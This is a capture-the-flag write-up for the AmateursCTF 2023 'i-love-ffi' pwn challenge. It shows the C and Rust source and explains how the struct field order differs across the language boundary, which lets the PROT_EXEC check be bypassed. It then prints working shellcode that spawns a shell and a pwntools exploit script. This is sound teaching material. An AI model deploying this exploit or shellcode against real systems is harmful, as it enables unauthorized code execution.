i-love-ffi
07/18/2023
By: unvariant
Tags: pwn AmateursCTF-2023Problem Description:
I love ffi, don't you?
Hints:
Reveal Hints
NoneProvided Files
- chal.c
- chal
- lib.rs
- libi_love_ffi.so
- Dockerfile
chal.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <sys/mman.h>
struct MmapArgs {
uint64_t * addr;
uint64_t length;
int protection;
int flags;
int fd;
uint64_t offset;
};
extern struct MmapArgs mmap_args();
int main () {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
struct MmapArgs args = mmap_args();
char * buf = mmap(args.addr, args.length, args.protection, MAP_PRIVATE | MAP_ANON, args.fd, args.offset);
if (buf < 0) {
perror("failed to mmap");
}
read(0, buf, 0x1000);
printf("> ");
int op;
if (scanf("%d", &op) == 1) {
switch (op) {
case 0:
((void (*)(void))buf)();
break;
case 1:
puts(buf);
break;
}
}
}
lib.rs
#![allow(warnings)]
pub struct MmapArgs {
addr: u64,
length: u64,
protection: u32,
flags: u32,
fd: u32,
offset: u64,
}
#[no_mangle]
pub extern "C" fn mmap_args() -> MmapArgs {
let args = MmapArgs {
addr: read::<u64>(),
length: read::<u64>(),
protection: read::<u32>(),
flags: read::<u32>(),
fd: read::<u32>(),
offset: read::<u64>(),
};
if args.protection & 4 != 0 {
panic!("PROT_EXEC not allowed");
}
args
}
Intended
The challenge provides the source for chal
and libi_love_ffi.so
in chal.c
and
lib.rs
respectively. On the Rust side, an mmap_args
function is defined that
sets up the arguments and passes them over to C to execute. The Rust performs some
basic checks to prevent passing the PROT_EXEC
flag in the protections field, which
should prevent allocating shellcode.
However, although the struct definitions in Rust and C are equivalent with the layout and types exactly the same, when you are compiled they are generated differently. Modern compilers will typically pad struct fields so that memory accesses to those fields are faster. The problem is that Rust and C have different padding behavior. C will attempt to align struct fields to their memory size, but will maintain struct order. Rust will also attempt to align struct fields to their memory size, but will not maintain struct order.
memory layout
offset | C | Rust |
---|---|---|
0x00 | addr | addr |
0x04 | addr | addr |
0x08 | length | length |
0x0C | length | length |
0x10 | protection | offset |
0x14 | flags | offset |
0x18 | fd | protection |
0x1C | [ unused ] | flags |
0x20 | offset | fd |
0x24 | offset | [ unused ] |
As we can see in the above chart, the fields in Rust dont match up one-to-one to the struct fields on the C side. This allows us to bypass the protection check in rust and allocate shellcode.
Solution
shellcode.asm
bits 64
_start:
mov rax, `/bin/sh`
push rax
mov eax, 0x3b
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall
main.py
from pwn import *
p = remote(args.HOST, args.PORT)
for n in [0, 0x1000, 0, 0, 0, 7]:
p.sendlineafter(b"> ", str(n).encode())
p.send(open("shellcode", "rb").read().ljust(4096, b"\x00"))
p.sendlineafter(b"> ", b"0")
p.interactive()
Unintendeds
No unintendeds 😄